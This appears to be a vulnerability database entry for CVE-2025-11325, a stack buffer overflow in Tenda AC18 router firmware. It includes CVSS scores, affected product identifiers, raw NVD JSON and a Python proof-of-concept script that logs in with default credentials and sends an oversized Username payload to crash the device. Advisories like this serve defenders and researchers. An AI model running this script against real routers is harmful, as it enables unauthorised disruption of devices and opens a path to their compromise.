Security Vulnerability Report
中文
CVE-2025-11325 CVSS 8.8 HIGH

CVE-2025-11325

Published: 2025-10-06 07:15:34
Last Modified: 2026-02-24 07:16:26

Description

A security flaw has been discovered in Tenda AC18 15.03.05.19(6318). Affected by this issue is some unknown functionality of the file /goform/fast_setting_pppoe_set. Performing a manipulation of the argument Username results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac18_firmware:15.03.05.19\(6318\):*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC18 固件版本 15.03.05.19(6318)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11325 - Tenda AC18 fast_setting_pppoe_set Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via Username parameter # Affected: Tenda AC18 firmware 15.03.05.19(6318) import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(target_ip, target_port=80, username='admin', password='admin'): """ Exploit the stack-based buffer overflow in fast_setting_pppoe_set endpoint. The Username parameter is vulnerable to stack buffer overflow. """ base_url = f"http://{target_ip}:{target_port}" login_url = f"{base_url}/login/Auth" exploit_url = f"{base_url}/goform/fast_setting_pppoe_set" session = requests.Session() # Step 1: Authenticate to obtain session cookie login_data = { 'username': username, 'password': password, } try: resp = session.post(login_url, data=login_data, timeout=10, verify=False) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Construct the overflow payload # The buffer is typically small; overflow with a large Username value # Adjust the padding length based on the specific buffer size padding = b'A' * 256 # Overflow padding to reach return address # MIPS return address placeholder (e.g., 0x7f010000 - libc gadget) # In real exploitation, replace with actual ROP chain / shellcode address ret_addr = b'\x41\x41\x41\x41' payload = padding + ret_addr # Step 3: Send the malicious PPPoE configuration request exploit_data = { 'Username': payload.decode('latin-1'), 'Password': 'password123', 'Server': '0.0.0.0', 'IP': '0.0.0.0', } try: resp = session.post(exploit_url, data=exploit_data, timeout=10, verify=False) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") return True except Exception as e: print(f"[-] Exploit request failed (device may have crashed): {e}") return True # Crash indicates successful overflow if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: {sys.argv[0]} 192.168.0.1 80 admin admin") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' pwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' print(f"[*] Targeting Tenda AC18 at {target}:{port}") print("[*] CVE-2025-11325 - Stack Buffer Overflow via Username parameter") exploit(target, port, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11325", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:33.747", "lastModified": "2026-02-24T07:16:26.120", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Tenda AC18 15.03.05.19(6318). Affected by this issue is some unknown functionality of the file /goform/fast_setting_pppoe_set. Performing a manipulation of the argument Username results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac18_firmware:15.03.05.19\\(6318\\):*:*:*:*:*:*:*", "matchCriteriaId": "3AC468E5-44D1-4B94-B308-C1025DB1BB7B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF9F8AF9-F921-4348-922B-EE5E6037E7AC"}]}]}], "references": [{"url": "https://github.com/noahze01/IoT-vulnerable/blob/main/Tenda/AC18/fast_setting_pppoe_set.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327208", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327208", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.664527", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}